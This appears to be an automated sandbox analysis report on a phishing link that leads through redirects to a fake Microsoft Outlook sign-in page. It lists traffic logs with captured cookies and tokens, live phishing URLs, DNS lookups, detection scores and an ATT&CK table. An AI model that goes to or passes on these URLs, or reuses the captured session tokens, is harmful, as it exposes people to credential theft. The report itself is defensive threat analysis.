Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: r6duftx9uh6.scrdata-doc.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TtzcNWtAezK1OOG&MD=nko9pdNz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: click.pstmrk.it
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: wordpressprofissional.com.br
Source: global traffic	DNS traffic detected: DNS query: secur-doc.online
Source: global traffic	DNS traffic detected: DNS query: r6duftx9uh6.scrdata-doc.cfd
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: i.s-microsoft.com

Source: chromecache_141.2.dr	String found in binary or memory: http://github.com/jquery/globalize
Source: chromecache_133.2.dr, chromecache_114.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_122.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_122.2.dr, chromecache_117.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_117.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_135.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css
Source: chromecache_122.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_110.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_110.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_150.2.dr	String found in binary or memory: https://secur-doc.online/?hjhmxbor&qrc=
Source: chromecache_102.2.dr	String found in binary or memory: https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.196.177.159:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.196.177.159:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49777 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@23/111@41/9

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2320,i,14859274825714643939,18036656266381728292,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2320,i,14859274825714643939,18036656266381728292,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	0%	Avira URL Cloud	safe
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	3%	Virustotal		Browse
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label	Link
https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	0%	Avira URL Cloud	safe
https://r6duftx9uh6.scrdata-doc.cfd/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3I2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6InI2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IjRhUlJNTmdRUTQ4RyIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTMwNDY0LCJleHAiOjE3MTQxMzA1ODR9.H5RlzzQftBFmXt14y-ibpfKcNBoPeazRovF59Sczzxc	0%	Avira URL Cloud	safe
https://r6duftx9uh6.scrdata-doc.cfd/	0%	Avira URL Cloud	safe
https://secur-doc.online/?hjhmxbor&qrc=	0%	Avira URL Cloud	safe
https://r6duftx9uh6.scrdata-doc.cfd/favicon.ico	0%	Avira URL Cloud	safe
https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/	0%	Avira URL Cloud	safe
https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/	0%	Virustotal		Browse
https://secur-doc.online/?hjhmxbor&qrc=	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
t.co	104.244.42.197	true	false	high
cs1100.wpc.omegacdn.net	152.199.4.44	true	false	unknown
wordpressprofissional.com.br	31.170.163.25	true	false	unknown
www.google.com	142.250.64.196	true	false	high
click.pstmrk.it	3.136.74.202	true	false	unknown
r6duftx9uh6.scrdata-doc.cfd	2.58.15.240	true	false	unknown
part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
secur-doc.online	2.58.15.240	true	false	unknown
LYH-efz.ms-acdc.office.com	52.96.28.178	true	false	high
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	unknown
assets.onestore.ms	unknown	unknown	false	unknown
i.s-microsoft.com	unknown	unknown	false	high
ajax.aspnetcdn.com	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high
c.s-microsoft.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://outlook.office365.com/owa/prefetch.aspx	false		high
https://r6duftx9uh6.scrdata-doc.cfd/owa/	true		unknown
https://r6duftx9uh6.scrdata-doc.cfd/?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3I2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImRvbWFpbiI6InI2ZHVmdHg5dWg2LnNjcmRhdGEtZG9jLmNmZCIsImtleSI6IjRhUlJNTmdRUTQ4RyIsInFyYyI6bnVsbCwiaWF0IjoxNzE0MTMwNDY0LCJleHAiOjE3MTQxMzA1ODR9.H5RlzzQftBFmXt14y-ibpfKcNBoPeazRovF59Sczzxc	false	Avira URL Cloud: safe	unknown
https://r6duftx9uh6.scrdata-doc.cfd/favicon.ico	false	Avira URL Cloud: safe	unknown
https://t.co/RieqFTtqmt	false		high
https://secur-doc.online/?hjhmxbor&qrc=	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://r6duftx9uh6.scrdata-doc.cfd/	false	Avira URL Cloud: safe	unknown
https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js	false	Avira URL Cloud: safe	unknown
https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://click.pstmrk.it/3s/t.co%2FRieqFTtqmt/gMTC/7_W0AQ/AQ/880c85de-cc11-4181-9f68-0f08d9f1e222/1/rCUNy3Yffz	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://github.com/jquery/globalize	chromecache_141.2.dr	false	high
https://login.microsoftonline.com	chromecache_110.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_122.2.dr, chromecache_117.2.dr	false	high
http://knockoutjs.com/	chromecache_122.2.dr, chromecache_117.2.dr	false	high
https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css	chromecache_135.2.dr, chromecache_154.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_117.2.dr	false	high
https://login.windows-ppe.net	chromecache_110.2.dr	false	high
